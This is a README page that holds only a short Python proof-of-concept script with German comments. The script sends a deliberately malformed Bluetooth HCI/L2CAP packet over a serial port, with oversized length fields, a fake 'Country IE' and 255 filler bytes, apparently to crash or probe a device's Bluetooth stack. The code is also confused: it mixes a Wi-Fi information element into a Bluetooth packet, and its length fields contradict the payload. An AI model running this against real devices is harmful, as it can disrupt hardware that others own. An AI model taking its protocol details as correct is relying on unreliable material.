README.md
Rendering markdown...
import serial
import time
# Passe dies an den korrekten Port deines Geräts an (z. B. /dev/ttyUSB0 unter Linux, COM3 unter Windows)
SERIAL_PORT = "/dev/ttyUSB0"
BAUD_RATE = 115200
def send_malformed_country_ie():
try:
dev = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
print(f"[+] Connected to {SERIAL_PORT}")
# HCI RESET COMMAND – optional zur Initialisierung
reset_cmd = bytes([0x01, 0x03, 0x0C, 0x00])
dev.write(reset_cmd)
time.sleep(1)
# Konstruiertes "malformed" Paket
# Beispiel: L2CAP Data Packet mit ungültiger Länge oder fehlerhaften Country-Code im Payload
malformed_packet = bytes([
0x02, # HCI ACL Data Packet
0x00, 0x00, # Handle
0x10, 0x00, # Data Total Length (ungültig/zu groß)
0x0C, 0x00, # L2CAP Length
0x04, 0x00, # Channel ID
# Fake "Country IE" (ungültig lang oder manipuliert)
0x7F, # IE ID (Proprietär)
0xFF, # Length (zu groß)
] + [0x41] * 255) # Payload mit Füllzeichen (z. B. ASCII 'A')
print("[*] Sending malformed Bluetooth HCI packet...")
dev.write(malformed_packet)
time.sleep(0.5)
# Antwort empfangen (falls vorhanden)
response = dev.read(256)
print(f"[+] Device response: {response.hex()}")
dev.close()
print("[+] Test complete")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
send_malformed_country_ie()